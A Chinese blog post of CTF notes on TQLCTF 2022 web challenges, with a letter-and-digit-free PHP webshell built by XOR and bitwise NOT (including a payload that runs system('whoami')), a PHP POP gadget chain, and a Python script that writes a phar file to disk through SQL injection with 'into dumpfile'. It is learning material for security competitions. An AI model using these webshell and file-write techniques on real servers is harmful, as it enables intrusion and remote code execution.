从tqlctf2022学到的一点杂七杂八的东西

tqlctf2022应该是目前亲自参与过最离谱的比赛了(虽然就没打过几个比赛w),清华学霸们把题出得题均论文orz。复现是不可能全部复现的,就把学到的一点点新东西整理一下

首先就是web签到题,几个可控的参数单独来看不管怎么绕都没法写成shell,永远都会针对性地‘差一点点’。但是星星之火可以燎原,这一堆参数连在一起却可以写shell
然后就是无字母数字shell

$_POST['punctuation'] = preg_replace("/[a-z,A-Z,0-9>\?]/","",$_POST['punctuation']);

这个还是挺值得研究的。两种方法
第一种异或拼接出assert函数

$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;$_($___[_]);
// 密码为 "_"

要特别注意的是利用assert函数有严格的版本限制:

阅读文档发现php>=7就不能用拼接了,php>=7.2甚至参数都不能是string,也就是说正常写文字马都不能以$_GET为参数。(至少我本地试是这样的)

另一种是取补码,让传进来的参数全都是不可见的字符。php中对一个字符串可以这样取二进制补码
~'string'
于是就有了补码+urlencode绕过的姿势

(~'%8C%86%8C%8B%9A%92')(~'%88%97%90%9E%92%96');
// 即:(system)(whoami);


当然这种函数代理也有要求:php>=7
更多无字母数字shell看这两篇文章吧,这里就不一一复现了
无字母数字webshell之提高篇
老生常谈的无字母数字 Webshell 总结


然后就是sql_test,这题也是第一次跟着wp尝试真实环境挖pop链。具体怎么挖的就不写了,就写写我认为寻找pop链的突破口吧
首先就是怎么找出发点,按wp的说法首选__destruct,但是又说到排除调带__wakeup的。其实后者是可以绕的,可能是为了方便吧。
然后找到的魔术方法尽量有动态函数,而且对象可控,这样就可以调__call,比如我自己找的connection.php, 理论上应该也可以打得通

class Connection{
	private $logger;
	public function __destruct()  
	{  
	 $this->logger->info('Disconnecting');  
	}
}

然后后面就继续找动态函数,直到函数名和参数都可控。就比如这条链的终点

public function __invoke($var): string  
{  
 return ($this->handler)($var);  
}

handler和var最后都可控,就结束了。
当然我不管怎么说都是在赏析官方wp,自己找还是心有余而力不足,希望以后能有类似的机会吧。。

对了,wp还指出了github上一个收集pop链的项目PHPGGC。本来说今天要试着用用的,但跑去看乌克兰了qwq

这题还有一点就是学到了mysql读写文件的姿势。mysql关于读写文件的权限有3种模式

secure_file_priv为null 表示不允许导入导出 (5.7后为默认值)
secure_file_priv指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹
secure_file_priv没有设置时,则表示没有任何限制

具体是什么可以通过指令show global variables like '%secure_file_priv%'; 查看。如果是指定了文件夹可以看到路径。
像这题只能时间注入,也能用select语句查看select @@global.secure_file_priv;

这题触发phar反序列化实在是不知道怎么跟到c语言源码的。。但是从万能的群友手里搞到了这个网站https://heap.space/,可以查php源码

再有就是怎么用16进制把一个文件通过mysql写进磁盘,学习下wp的写法

def write():  
    path='/tmp/4c828b2db537e038b61043c3088cbe17/test.phar'  
 with open('test.phar','rb') as f:  
        hex_data=f.read().hex()  
        url=f"http://192.168.238.165:49155/index.php/test?key=3&value=select 0x{hex_data} into dumpfile '{path}'"  
 requests.get(url)

顺带提一句,用dumpfile不用outfile,是因为outfile会把文件二次处理

目前能看得懂的就是这两道了,其他web题都是论文题,像我这种计网都没看过的菜鸡就别想了。
虽然题目看得不多,但其实知识点还是涉及很多的,顺便熟悉了一下docker的使用,怎么在docker里调东西等等,可以说还是能从这个离谱的比赛收获不少

最后祝愿世界和平
2022-2-24

posted @ 2022-02-24 20:39  KingBridge  阅读(314)  评论(0编辑  收藏  举报